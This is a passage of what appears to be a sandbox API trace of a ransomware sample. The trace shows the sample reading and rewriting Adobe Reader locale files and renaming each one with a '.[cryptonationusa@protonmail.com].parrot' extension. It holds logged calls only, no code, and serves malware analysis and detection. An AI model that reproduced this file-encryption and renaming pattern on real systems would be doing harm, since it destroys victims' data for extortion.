0x5d4c80 [0258.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0258.735] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.737] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DVA.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\dva.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DVA.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\dva.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0258.743] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.743] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.745] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0258.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.746] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\eBook.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ebook.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\eBook.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ebook.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0258.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.750] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.752] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.752] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa200, lpOverlapped=0x0) returned 1 [0258.753] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.754] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\EScript.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\escript.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\EScript.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\escript.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0258.758] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.758] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.759] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0258.760] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.760] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\IA32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ia32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\IA32.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ia32.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0258.764] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.764] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.766] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.766] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14400, lpOverlapped=0x0) returned 1 [0258.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\makeaccessible.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\makeaccessible.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\makeaccessible.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\makeaccessible.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0258.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.776] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.778] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14200, lpOverlapped=0x0) returned 1 [0258.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.783] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Multimedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\multimedia.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Multimedia.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\multimedia.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0258.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.789] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.791] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0258.792] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.792] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\pddom.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\pddom.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\pddom.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\pddom.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.796] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.796] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.798] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.798] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x82e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x82e00, lpOverlapped=0x0) returned 1 [0258.834] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.900] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\PPKLITE.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ppklite.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\PPKLITE.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ppklite.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0258.910] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.910] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.912] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.912] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0258.937] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.937] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0258.949] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.949] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0258.952] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x157118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0258.952] CloseHandle (hObject=0x288) returned 1 [0258.952] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\RdLang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\rdlang32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\RdLang32.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\rdlang32.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.954] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.954] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.954] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0258.961] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.961] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.963] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.963] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0258.964] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.965] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadOutLoud.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readoutloud.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadOutLoud.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readoutloud.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.970] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.971] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.972] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.972] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0258.973] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.973] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\reflow.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\reflow.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\reflow.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\reflow.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.976] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.976] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.976] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0258.978] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.978] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.980] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.980] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0258.981] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.981] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SaveAsRTF.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\saveasrtf.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SaveAsRTF.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\saveasrtf.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0258.985] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.985] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.987] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.987] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6200, lpOverlapped=0x0) returned 1 [0258.988] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.988] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Search.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\search.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Search.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\search.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.990] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0258.992] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.992] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.994] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.994] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3e00, lpOverlapped=0x0) returned 1 [0258.995] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.995] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SendMail.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\sendmail.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\SendMail.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\sendmail.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.997] HeapFree (in: 